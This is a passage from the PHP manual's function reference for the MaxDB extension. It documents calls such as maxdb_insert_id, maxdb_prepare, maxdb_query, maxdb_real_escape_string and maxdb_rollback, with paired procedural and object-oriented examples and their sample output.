Any subsequent calls to any maxdb function (except maxdb_options()) will fail until maxdb_real_connect() was called.

Return Values

Returns an resource.

See Also

  • maxdb_options() - Set options
  • maxdb_close() - Closes a previously opened database connection
  • maxdb_real_connect() - Opens a connection to a MaxDB server
  • maxdb_connect() - Open a new connection to the MaxDB server

User Contributed Notes

There are no user contributed notes for this page.
maxdb_info
maxdb_insert_id
MaxDB Functions


Returns the auto generated id used in the last query

maxdb_init
maxdb_kill
MaxDB Functions
PHP Manual

maxdb_insert_id

maxdb::insert_id

(PECL maxdb >= 1.0)

maxdb_insert_id -- maxdb::insert_id — Returns the auto generated id used in the last query

Description

Procedural style

mixed maxdb_insert_id ( resource $link )

Object oriented style

mixed $maxdb->insert_id;

The maxdb_insert_id() function returns the ID generated by a query on a table with a column having the DEFAULT SERIAL attribute. If the last query wasn't an INSERT or UPDATE statement or if the modified table does not have a column with the DEFAULT SERIAL attribute, this function will return zero.

Return Values

The value of the DEFAULT SERIAL field that was updated by the previous query. Returns zero if there was no previous query on the connection or if the query did not update an DEFAULT_SERIAL value.

Note:

If the number is greater than maximal int value, maxdb_insert_id() will return a string.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_report (MAXDB_REPORT_OFF);
$maxdb->query("DROP TABLE mycity");
maxdb_report (MAXDB_REPORT_ERROR);

$maxdb->query("CREATE TABLE mycity LIKE hotel.city");
$maxdb->query("ALTER TABLE mycity ADD id FIXED(11) DEFAULT SERIAL");

$query = "INSERT INTO mycity (zip,name,state) VALUES ('12203','Albany' ,'NY')";
$maxdb->query($query);

printf ("New Record has id %d.\n", $maxdb->insert_id);

/* drop table */
$maxdb->query("DROP TABLE mycity");

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_report (MAXDB_REPORT_OFF);
maxdb_query($link,"DROP TABLE mycity");
maxdb_report (MAXDB_REPORT_ERROR);

maxdb_query($link, "CREATE TABLE mycity LIKE hotel.city");
maxdb_query($link, "ALTER TABLE mycity ADD id FIXED(11) DEFAULT SERIAL");

$query = "INSERT INTO mycity (zip,name,state) VALUES ('12203','Albany' ,'NY')";
maxdb_query($link, $query);

printf ("New Record has id %d.\n", maxdb_insert_id($link));

/* drop table */
maxdb_query($link, "DROP TABLE mycity");

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

New Record has id 1.

User Contributed Notes

There are no user contributed notes for this page.
maxdb_init
maxdb_kill
MaxDB Functions


Disconnects from a MaxDB server

maxdb_insert_id
maxdb_master_query
MaxDB Functions
PHP Manual

maxdb_kill

maxdb::kill

(PECL maxdb >= 1.0)

maxdb_kill -- maxdb::kill — Disconnects from a MaxDB server

Description

Procedural style

bool maxdb_kill ( resource $link , int $processid )

Object oriented style

bool maxdb::kill ( int $processid )

This function is used to disconnect from a MaxDB server specified by the processid parameter.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* determine our thread id */
$thread_id = $maxdb->thread_id;

/* Kill connection */
$maxdb->kill($thread_id);

/* This should produce an error */
if (!$maxdb->query("CREATE TABLE myCity LIKE City")) {
   printf("Error: %s\n", $maxdb->error);
   exit;
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* determine our thread id */
$thread_id = maxdb_thread_id($link);

/* Kill connection */
maxdb_kill($link, $thread_id);

/* This should produce an error */
if (!maxdb_query($link, "CREATE TABLE myCity LIKE City")) {
   printf("Error: %s\n", maxdb_error($link));
   exit;
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Error: Session not connected

See Also

  • maxdb_thread_id() - Returns the thread ID for the current connection

User Contributed Notes

There are no user contributed notes for this page.
maxdb_insert_id
maxdb_master_query
MaxDB Functions


Enforce execution of a query on the master in a master/slave setup

maxdb_kill
maxdb_more_results
MaxDB Functions
PHP Manual

maxdb_master_query

(PECL maxdb >= 1.0)

maxdb_master_query — Enforce execution of a query on the master in a master/slave setup

Description

bool maxdb_master_query ( resource $link , string $query )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
maxdb_kill
maxdb_more_results
MaxDB Functions


Check if there any more query results from a multi query

maxdb_master_query
maxdb_multi_query
MaxDB Functions
PHP Manual

maxdb_more_results

maxdb::more_results

(PECL maxdb >= 1.0)

maxdb_more_results -- maxdb::more_results — Check if there any more query results from a multi query

Description

bool maxdb_more_results ( resource $link )

maxdb_more_results() indicates if one or more result sets are available from a previous call to maxdb_multi_query().

Return Values

Always FALSE.

Examples

See maxdb_multi_query().

See Also

  • maxdb_multi_query() - Performs a query on the database
  • maxdb_next_result() - Prepare next result from multi_query
  • maxdb_store_result() - Transfers a result set from the last query
  • maxdb_use_result() - Initiate a result set retrieval

User Contributed Notes

There are no user contributed notes for this page.
maxdb_master_query
maxdb_multi_query
MaxDB Functions


Performs a query on the database

maxdb_more_results
maxdb_next_result
MaxDB Functions
PHP Manual

maxdb_multi_query

maxdb::multi_query

(PECL maxdb >= 1.0)

maxdb_multi_query -- maxdb::multi_query — Performs a query on the database

Description

Procedural style

bool maxdb_multi_query ( resource $link , string $query )

Object oriented style

bool maxdb::multi_query ( string $query )

The maxdb_multi_query() works like the function maxdb_query(). Multiple queries are not yet supported.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query  = "SELECT * FROM dual";

/* execute multi query */
if ($maxdb->multi_query($query)) {
   do {
       /* store first result set */
       if ($result = $maxdb->store_result()) {
           while ($row = $result->fetch_row()) {
               printf("%s\n", $row[0]);
           }
           $result->close();
       }
       /* print divider */
       if ($maxdb->more_results()) {
           printf("-----------------\n");
       }
   } while ($maxdb->next_result());
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT * FROM dual";

/* execute multi query */
if (maxdb_multi_query($link, $query)) {
   do {
       /* store first result set */
       if ($result = maxdb_store_result($link)) {
           while ($row = maxdb_fetch_row($result)) {
               printf("%s\n", $row[0]);
           }
           maxdb_free_result($result);
       }
       /* print divider */
       if (maxdb_more_results($link)) {
           printf("-----------------\n");
       }
   } while (maxdb_next_result($link));
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

a

See Also

  • maxdb_use_result() - Initiate a result set retrieval
  • maxdb_store_result() - Transfers a result set from the last query
  • maxdb_next_result() - Prepare next result from multi_query
  • maxdb_more_results() - Check if there any more query results from a multi query

User Contributed Notes

There are no user contributed notes for this page.
maxdb_more_results
maxdb_next_result
MaxDB Functions


Prepare next result from multi_query

maxdb_multi_query
maxdb_num_fields
MaxDB Functions
PHP Manual

maxdb_next_result

maxdb::next_result

(PECL maxdb >= 1.0)

maxdb_next_result -- maxdb::next_result — Prepare next result from multi_query

Description

bool maxdb_next_result ( resource $link )

Since multiple queries are not yet supported, maxdb_next_result() returns always FALSE.

Return Values

Returns FALSE.

See Also

  • maxdb_multi_query() - Performs a query on the database
  • maxdb_more_results() - Check if there any more query results from a multi query
  • maxdb_store_result() - Transfers a result set from the last query
  • maxdb_use_result() - Initiate a result set retrieval

User Contributed Notes

There are no user contributed notes for this page.
maxdb_multi_query
maxdb_num_fields
MaxDB Functions


Get the number of fields in a result

maxdb_next_result
maxdb_num_rows
MaxDB Functions
PHP Manual

maxdb_num_fields

maxdb_result::field_count

(PECL maxdb >= 1.0)

maxdb_num_fields -- maxdb_result::field_count — Get the number of fields in a result

Description

Procedural style

int maxdb_num_fields ( resource $result )

Object oriented style

int $maxdb_result->field_count;

maxdb_num_fields() returns the number of fields from specified result set.

Return Values

The number of fields from a result set

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if ($result = $maxdb->query("SELECT * FROM hotel.city ORDER BY zip")) {

   /* determine number of fields in result set */
   $field_cnt = $result->field_count;

   printf("Result set has %d fields.\n", $field_cnt);

   /* close result set */
   $result->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if ($result = maxdb_query($link, "SELECT * FROM hotel.city ORDER BY zip")) {

   /* determine number of fields in result set */
   $field_cnt = maxdb_num_fields($result);

   printf("Result set has %d fields.\n", $field_cnt);

   /* close result set */
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Result set has 3 fields.

See Also

  • maxdb_fetch_field() - Returns the next field in the result set

User Contributed Notes

There are no user contributed notes for this page.
maxdb_next_result
maxdb_num_rows
MaxDB Functions


Gets the number of rows in a result

maxdb_num_fields
maxdb_options
MaxDB Functions
PHP Manual

maxdb_num_rows

maxdb::num_rows

(PECL maxdb >= 1.0)

maxdb_num_rows -- maxdb::num_rows — Gets the number of rows in a result

Description

Procedural style

int maxdb_num_rows ( resource $result )

Object oriented style

int $maxdb->num_rows;

Returns the number of rows in the result set.

The use of maxdb_num_rows() depends on whether you use buffered or unbuffered result sets. In case you use unbuffered resultsets maxdb_num_rows() will not correct the correct number of rows until all the rows in the result have been retrieved.

Return Values

Returns number of rows in the result set.

Note:

If the number of rows is greater than maximal int value, the number will be returned as a string.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if ($result = $maxdb->query("SELECT cno, name FROM hotel.customer ORDER BY name")) {

   /* determine number of rows result set */
   $row_cnt = $result->num_rows;

   printf("Result set has %d rows.\n", $row_cnt);

   /* close result set */
   $result->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if ($result = maxdb_query($link, "SELECT cno, name FROM hotel.customer ORDER BY name")) {

   /* determine number of rows result set */
   $row_cnt = maxdb_num_rows($result);

   printf("Result set has %d rows.\n", $row_cnt);

   /* close result set */
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Result set has 15 rows.

See Also

  • maxdb_affected_rows() - Gets the number of affected rows in a previous MaxDB operation
  • maxdb_store_result() - Transfers a result set from the last query
  • maxdb_use_result() - Initiate a result set retrieval
  • maxdb_query() - Performs a query on the database

User Contributed Notes

There are no user contributed notes for this page.
maxdb_num_fields
maxdb_options
MaxDB Functions


Set options

maxdb_num_rows
maxdb_param_count
MaxDB Functions
PHP Manual

maxdb_options

maxdb::options

(PECL maxdb >= 1.0)

maxdb_options -- maxdb::options — Set options

Description

Procedural style

bool maxdb_options ( resource $link , int $option , mixed $value )

Object oriented style

bool maxdb::options ( int $option , mixed $value )

maxdb_options() can be used to set extra connect options and affect behavior for a connection.

This function may be called multiple times to set several options.

maxdb_options() should be called after maxdb_init() and before maxdb_real_connect().

The parameter option is the option that you want to set, the value is the value for the option. For detailed description of the options see » http://maxdb.sap.com/documentation/ The parameter option can be one of the following values:

Valid options
Name | Description
MAXDB_COMPNAME | The component name used to initialise the SQLDBC runtime environment.
MAXDB_APPLICATION | The application to be connected to the database.
MAXDB_APPVERSION | The version of the application.
MAXDB_SQLMODE | The SQL mode.
MAXDB_UNICODE | TRUE, if the connection is an unicode (UCS2) client or FALSE, if not.
MAXDB_TIMEOUT | The maximum allowed time of inactivity after which the connection to the database is closed by the system.
MAXDB_ISOLATIONLEVEL | Specifies whether and how shared locks and exclusive locks are implicitly requested or released.
MAXDB_PACKETCOUNT | The number of different request packets used for the connection.
MAXDB_STATEMENTCACHESIZE | The number of prepared statements to be cached for the connection for re-use.
MAXDB_CURSORPREFIX | The prefix to use for result tables that are automatically named.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

See maxdb_real_connect().

See Also

  • maxdb_init() - Initializes MaxDB and returns an resource for use with maxdb_real_connect
  • maxdb_real_connect() - Opens a connection to a MaxDB server

User Contributed Notes

There are no user contributed notes for this page.
maxdb_num_rows
maxdb_param_count
MaxDB Functions


Alias of maxdb_stmt_param_count

maxdb_options
maxdb_ping
MaxDB Functions
PHP Manual

maxdb_param_count

(PECL maxdb 1.0)

maxdb_param_count — Alias of maxdb_stmt_param_count()

Description

This function is an alias of: maxdb_stmt_param_count().

This function alias is deprecated and only exists for backwards compatibility reasons. The use of this function is not recommended, as it may be removed from PHP in the future.

User Contributed Notes

There are no user contributed notes for this page.
maxdb_options
maxdb_ping
MaxDB Functions


Pings a server connection, or tries to reconnect if the connection has gone down

maxdb_param_count
maxdb_prepare
MaxDB Functions
PHP Manual

maxdb_ping

maxdb::ping

(PECL maxdb >= 1.0)

maxdb_ping -- maxdb::ping — Pings a server connection, or tries to reconnect if the connection has gone down

Description

Procedural style

bool maxdb_ping ( resource $link )

Object oriented style

bool maxdb::ping ( void )

Checks whether the connection to the server is working. If it has gone down, and global option maxdb.reconnect is enabled an automatic reconnection is attempted.

This function can be used by clients that remain idle for a long while, to check whether the server has closed the connection and reconnect if necessary.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* check if server is alive */
if ($maxdb->ping()) {
   printf ("Our connection is ok!\n");
} else {
   printf ("Error: %s\n", $maxdb->error);
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* check if server is alive */
if (maxdb_ping($link)) {
   printf ("Our connection is ok!\n");
} else {
   printf ("Error: %s\n", maxdb_error($link));
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Our connection is ok!

User Contributed Notes

There are no user contributed notes for this page.
maxdb_param_count
maxdb_prepare
MaxDB Functions


Prepare an SQL statement for execution

maxdb_ping
maxdb_query
MaxDB Functions
PHP Manual

maxdb_prepare

maxdb::prepare

(PECL maxdb >= 1.0)

maxdb_prepare -- maxdb::prepare — Prepare an SQL statement for execution

Description

Procedural style

resource maxdb_prepare ( resource $link , string $query )

Object oriented style

maxdb_stmt maxdb::prepare ( string $query )

maxdb_prepare() prepares the SQL query pointed to by the null-terminated string query, and returns a statement handle to be used for further operations on the statement. The query must consist of a single SQL statement.

Note:

You should not add a terminating semicolon or \g to the statement.

The parameter query can include one or more parameter markers in the SQL statement by embedding question mark (?) characters at the appropriate positions.

Note:

The markers are legal only in certain places in SQL statements. For example, they are allowed in the VALUES() list of an INSERT statement (to specify column values for a row), or in a comparison with a column in a WHERE clause to specify a comparison value.

However, they are not allowed for identifiers (such as table or column names), in the select list that names the columns to be returned by a SELECT statement), or to specify both operands of a binary operator such as the = equal sign. The latter restriction is necessary because it would be impossible to determine the parameter type. In general, parameters are legal only in Data Manipulation Languange (DML) statements, and not in Data Defination Language (DDL) statements.

The parameter markers must be bound to application variables using maxdb_stmt_bind_param() and/or maxdb_stmt_bind_result() before executing the statement or fetching rows.

Return Values

maxdb_prepare() returns a statement resource or FALSE if an error occured.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$city = "Rosemont";

/* create a prepared statement */
if ($stmt = $maxdb->prepare("SELECT state FROM hotel.city WHERE name=?")) {

   /* bind parameters for markers */
   $stmt->bind_param("s", $city);

   /* execute query */
   $stmt->execute();

   /* bind result variables */
   $stmt->bind_result($district);

   /* fetch value */
   $stmt->fetch();

   printf("%s is in district %s\n", $city, $district);

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$city = "Rosemont";

/* create a prepared statement */
if ($stmt = maxdb_prepare($link, "SELECT state FROM hotel.city WHERE name=?")) {

   /* bind parameters for markers */
   maxdb_stmt_bind_param($stmt, "s", $city);

   /* execute query */
   maxdb_stmt_execute($stmt);

  /* bind result variables */
   maxdb_stmt_bind_result($stmt, $district);

   /* fetch value */
   maxdb_stmt_fetch($stmt);

   printf("%s is in district %s\n", $city, $district);

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Rosemont is in district IL

See Also

  • maxdb_stmt_execute() - Executes a prepared Query
  • maxdb_stmt_fetch() - Fetch results from a prepared statement into the bound variables
  • maxdb_stmt_bind_param() - Binds variables to a prepared statement as parameters
  • maxdb_stmt_bind_result() - Binds variables to a prepared statement for result storage
  • maxdb_stmt_close() - Closes a prepared statement

User Contributed Notes

There are no user contributed notes for this page.
maxdb_ping
maxdb_query
MaxDB Functions


Performs a query on the database

maxdb_prepare
maxdb_real_connect
MaxDB Functions
PHP Manual

maxdb_query

maxdb::query

(PECL maxdb >= 1.0)

maxdb_query -- maxdb::query — Performs a query on the database

Description

Procedural style

mixed maxdb_query ( resource $link , string $query [, int $resultmode ] )

Object oriented style

mixed maxdb::query ( string $query )

The maxdb_query() function is used to simplify the act of performing a query against the database represented by the link parameter.

Return Values

Returns TRUE on success or FALSE on failure. For SELECT, SHOW, DESCRIBE or EXPLAIN maxdb_query() will return a result resource.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* Create table doesn't return a resultset */
if ($maxdb->query("CREATE TABLE temp.mycity LIKE hotel.city") === TRUE) {
   printf("Table mycity successfully created.\n");
}

/* Select queries return a resultset */
if ($result = $maxdb->query("SELECT name FROM hotel.city")) {
   printf("Select returned %d rows.\n", $result->num_rows);

   /* free result set */
   $result->close();
}

/* If we have to retrieve large amount of data we use MAXDB_USE_RESULT */
if ($result = $maxdb->query("SELECT * FROM hotel.city", MAXDB_USE_RESULT)) {
   $result->close();
}

$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* Create table doesn't return a resultset */
if (maxdb_query($link, "CREATE TABLE temp.mycity LIKE hotel.city") === TRUE) {
   printf("Table mycity successfully created.\n");
}

/* Select queries return a resultset */
if ($result = maxdb_query($link, "SELECT name FROM hotel.city")) {
   printf("Select returned %d rows.\n", maxdb_num_rows($result));

   /* free result set */
   maxdb_free_result($result);
}

/* If we have to retrieve large amount of data we use MAXDB_USE_RESULT */
if ($result = maxdb_query($link, "SELECT * FROM hotel.city", MAXDB_USE_RESULT)) {
   maxdb_free_result($result);
}

maxdb_close($link);
?>

The above example will output something similar to:

Table mycity successfully created.
Select returned 25 rows.

See Also

  • maxdb_real_query() - Execute an SQL query
  • maxdb_multi_query() - Performs a query on the database
  • maxdb_free_result() - Frees the memory associated with a result

User Contributed Notes

There are no user contributed notes for this page.
maxdb_prepare
maxdb_real_connect
MaxDB Functions


Opens a connection to a MaxDB server

maxdb_query
maxdb_real_escape_string
MaxDB Functions
PHP Manual

maxdb_real_connect

maxdb::real_connect

(PECL maxdb >= 1.0)

maxdb_real_connect -- maxdb::real_connect — Opens a connection to a MaxDB server

Description

Procedural style

bool maxdb_real_connect ( resource $link [, string $hostname [, string $username [, string $passwd [, string $dbname [, int $port = 0 [, string $socket ]]]]]] )

Object oriented style

bool maxdb::real_connect ([ string $hostname [, string $username [, string $passwd [, string $dbname [, int $port = 0 [, string $socket ]]]]]] )

maxdb_real_connect() attempts to establish a connection to a MaxDB database engine running on hostname.

This function differs from maxdb_connect():

  • maxdb_real_connect() needs a valid resource which has to be created by function maxdb_init()

  • With function maxdb_options() you can set various options for connection.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php

/* create a connection object which is not connected */
$maxdb = maxdb_init();

/* set connection options */
$maxdb->options(MAXDB_UNICODE, "FALSE");
$maxdb->options(MAXDB_TIMEOUT, 5);

/* connect to server */
$maxdb->real_connect('localhost', 'MONA', 'RED', 'DEMODB');

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

printf ("Connection: %s\n.", $maxdb->host_info);

$maxdb->close();
?>

Example #2 Procedural style

<?php

/* create a connection object which is not connected */
$link = maxdb_init();

/* set connection options */
maxdb_options($link, MAXDB_UNICODE, "FALSE");
maxdb_options($link, MAXDB_TIMEOUT, 5);

/* connect to server */
maxdb_real_connect($link, 'localhost', 'MONA', 'RED', 'DEMODB');

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

printf ("Connection: %s\n.", maxdb_get_host_info($link));

maxdb_close($link);
?>

The above example will output something similar to:

Connection: localhost <...>

See Also

  • maxdb_connect() - Open a new connection to the MaxDB server
  • maxdb_init() - Initializes MaxDB and returns an resource for use with maxdb_real_connect
  • maxdb_options() - Set options
  • maxdb_ssl_set() - Used for establishing secure connections using SSL
  • maxdb_close() - Closes a previously opened database connection

User Contributed Notes

There are no user contributed notes for this page.
maxdb_query
maxdb_real_escape_string
MaxDB Functions


Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection

maxdb_real_connect
maxdb_real_query
MaxDB Functions
PHP Manual

maxdb_real_escape_string

maxdb::real_escape_string

(PECL maxdb >= 1.0)

maxdb_real_escape_string -- maxdb::real_escape_string — Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection

Description

Procedural style

string maxdb_real_escape_string ( resource $link , string $escapestr )

Object oriented style

string maxdb::real_escape_sring ( string $escapestr )

This function is used to create a legal SQL string that you can use in an SQL statement. The string escapestr is encoded to an escaped SQL string, taking into account the current character set of the connection.

Characters encoded are ', ".

Return Values

Returns an escaped string.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$maxdb->query("CREATE TABLE temp.mycity LIKE hotel.city");

$city = "'s Hertogenbosch";

/* this query will fail, cause we didn't escape $city */
if (!$maxdb->query("INSERT into temp.mycity VALUES ('11111','$city','NY')")) {
   printf("Error: %s\n", $maxdb->sqlstate);
}

$city = $maxdb->real_escape_string($city);

/* this query with escaped $city will work */
if ($maxdb->query("INSERT into temp.mycity VALUES ('22222','$city','NY')")) {
   printf("%d Row inserted.\n", $maxdb->affected_rows);
}

$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_query($link, "CREATE TABLE temp.mycity LIKE hotel.city");

$city = "'s Hertogenbosch";

/* this query will fail, cause we didn't escape $city */
if (!maxdb_query($link, "INSERT into temp.mycity VALUES ('11111','$city','NY')")) {
   printf("Error: %s\n", maxdb_sqlstate($link));
}

$city = maxdb_real_escape_string($link, $city);

/* this query with escaped $city will work */
if (maxdb_query($link, "INSERT into temp.mycity VALUES ('22222','$city','NY')")) {
   printf("%d Row inserted.\n", maxdb_affected_rows($link));
}

maxdb_close($link);
?>

The above example will output something similar to:

Warning: maxdb_query(): -5016 POS(43) Missing delimiter: ) <...>
Error: 42000
1 Row inserted.

See Also

  • maxdb_character_set_name() - Returns the default character set for the database connection

User Contributed Notes

There are no user contributed notes for this page.
maxdb_real_connect
maxdb_real_query
MaxDB Functions


Execute an SQL query

maxdb_real_escape_string
maxdb_report
MaxDB Functions
PHP Manual

maxdb_real_query

maxdb::real_query

(PECL maxdb >= 1.0)

maxdb_real_query -- maxdb::real_query — Execute an SQL query

Description

Procedural style

bool maxdb_real_query ( resource $link , string $query )

Object oriented style

bool maxdb::real_query ( string $query )

The maxdb_real_query() is functionally identical with the maxdb_query().

Note:

In order to determine if a given query should return a result set or not, see maxdb_field_count().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • maxdb_query() - Performs a query on the database
  • maxdb_store_result() - Transfers a result set from the last query
  • maxdb_use_result() - Initiate a result set retrieval

User Contributed Notes

There are no user contributed notes for this page.
maxdb_real_escape_string
maxdb_report
MaxDB Functions


Enables or disables internal report functions

maxdb_real_query
maxdb_rollback
MaxDB Functions
PHP Manual

maxdb_report

(PECL maxdb 1.0)

maxdb_report — Enables or disables internal report functions

Description

bool maxdb_report ( int $flags )

Parameters

flags

One of the MAXDB_REPORT_XXX constants.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Procedural style

<?php
/* activate reporting */
maxdb_report(MAXDB_REPORT_ERROR);

$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* this query should report an error */
$result = maxdb_query($link,"SELECT Name FROM Nonexistingtable WHERE population > 50000");

maxdb_close($link);
?>

The above example will output something similar to:

Warning: maxdb_query(): -4004 POS(18) Unknown table name:NONEXISTINGTABLE <...>

User Contributed Notes

There are no user contributed notes for this page.
maxdb_real_query
maxdb_rollback
MaxDB Functions


Rolls back current transaction

maxdb_report
maxdb_rpl_parse_enabled
MaxDB Functions
PHP Manual

maxdb_rollback

maxdb::rollback

(PECL maxdb >= 1.0)

maxdb_rollback -- maxdb::rollback — Rolls back current transaction

Description

Procedural style

bool maxdb_rollback ( resource $link )

Object oriented style

bool maxdb::rollback ( void )

Rollbacks the current transaction for the database specified by the link parameter.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* disable autocommit */
$maxdb->autocommit(FALSE);

$maxdb->query("CREATE TABLE temp.mycity LIKE hotel.city");
$maxdb->query("INSERT INTO temp.mycity SELECT * FROM hotel.city");

/* commit insert */
$maxdb->commit();

/* delete all rows */
$maxdb->query("DELETE FROM temp.mycity");

if ($result = $maxdb->query("SELECT COUNT(*) FROM temp.mycity")) {
   $row = $result->fetch_row();
   printf("%d rows in table mycity.\n", $row[0]);
   /* Free result */
   $result->close();
}

/* Rollback */
$maxdb->rollback();

if ($result = $maxdb->query("SELECT COUNT(*) FROM temp.mycity")) {
   $row = $result->fetch_row();
   printf("%d rows in table mycity (after rollback).\n", $row[0]);
   /* Free result */
   $result->close();
}

/* Drop table myCity */
$maxdb->query("DROP TABLE temp.mycity");

$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* disable autocommit */
maxdb_autocommit($link, FALSE);

maxdb_query($link, "CREATE TABLE temp.mycity LIKE hotel.city");
maxdb_query($link, "INSERT INTO temp.mycity SELECT * FROM hotel.city");

/* commit insert */
maxdb_commit($link);

/* delete all rows */
maxdb_query($link, "DELETE FROM temp.mycity");

if ($result = maxdb_query($link, "SELECT COUNT(*) FROM temp.mycity")) {
   $row = maxdb_fetch_row($result);
   printf("%d rows in table mycity.\n", $row[0]);
   /* Free result */
   maxdb_free_result($result);
}

/* Rollback */
maxdb_rollback($link);

if ($result = maxdb_query($link, "SELECT COUNT(*) FROM temp.mycity")) {
   $row = maxdb_fetch_row($result);
   printf("%d rows in table mycity (after rollback).\n", $row[0]);
   /* Free result */
   maxdb_free_result($result);
}

/* Drop table myCity */
maxdb_query($link, "DROP TABLE temp.mycity");

maxdb_close($link);
?>

The above example will output something similar to:

0 rows in table mycity.
25 rows in table mycity (after rollback).

See Also

  • maxdb_commit() - Commits the current transaction
  • maxdb_autocommit() - Turns on or off auto-commiting database modifications

User Contributed Notes

There are no user contributed notes for this page.
maxdb_report
maxdb_rpl_parse_enabled
MaxDB Functions


Check if RPL parse is enabled

maxdb_rollback
maxdb_rpl_probe
MaxDB Functions
PHP Manual

maxdb_rpl_parse_enabled

(PECL maxdb >= 1.0)

maxdb_rpl_parse_enabled — Check if RPL parse is enabled

Description

